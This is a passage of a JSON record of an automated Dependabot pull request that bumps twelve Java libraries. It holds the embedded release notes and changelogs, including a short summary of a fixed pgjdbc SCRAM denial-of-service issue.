42.7.11","issue":{"uuid":"4414721450","node_id":"PR_kwDOI64WQs7Z80LY","number":498,"state":"closed","title":"Bump the safe-patch-updates group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-17T05:14:55.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-10T05:15:36.000Z","updated_at":"2026-05-17T05:14:57.000Z","time_to_close":604759,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"safe-patch-updates","update_count":12,"packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.auth0:java-jwt","old_version":"4.5.1","new_version":"4.5.2","repository_url":"https://github.com/auth0/java-jwt"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.3"},{"name":"com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"org.glassfish.jaxb:jaxb-runtime","old_version":"4.0.7","new_version":"4.0.8"},{"name":"org.thymeleaf:thymeleaf","old_version":"3.1.4.RELEASE","new_version":"3.1.5.RELEASE"},{"name":"org.operaton.bpm:operaton-engine","old_version":"1.1.1","new_version":"1.1.2"},{"name":"org.operaton.bpm:operaton-engine-spring","old_version":"1.1.1","new_version":"1.1.2"},{"name":"org.operaton.bpm.model:operaton-bpmn-model","old_version":"1.1.1","new_version":"1.1.2"}],"path":null,"ecosystem":"maven"},"body":"Bumps the safe-patch-updates group with 12 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.auth0:java-jwt](https://github.com/auth0/java-jwt) | `4.5.1` | `4.5.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.21.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| org.glassfish.jaxb:jaxb-runtime | `4.0.7` | `4.0.8` |\n| org.thymeleaf:thymeleaf | `3.1.4.RELEASE` | `3.1.5.RELEASE` |\n| org.operaton.bpm:operaton-engine | `1.1.1` | `1.1.2` |\n| org.operaton.bpm:operaton-engine-spring | `1.1.1` | `1.1.2` |\n| org.operaton.bpm.model:operaton-bpmn-model | `1.1.1` | `1.1.2` |\n\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.auth0:java-jwt` from 4.5.1 to 4.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/releases\"\u003ecom.auth0:java-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.5.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md\"\u003ecom.auth0:java-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/auth0/java-jwt/tree/4.5.2\"\u003e4.5.2\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003eFull Changelog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/695fd2bea64b8466b872a9d0c2e7019fee7ac86f\"\u003e\u003ccode\u003e695fd2b\u003c/code\u003e\u003c/a\u003e Release 4.5.2 (\u003ca 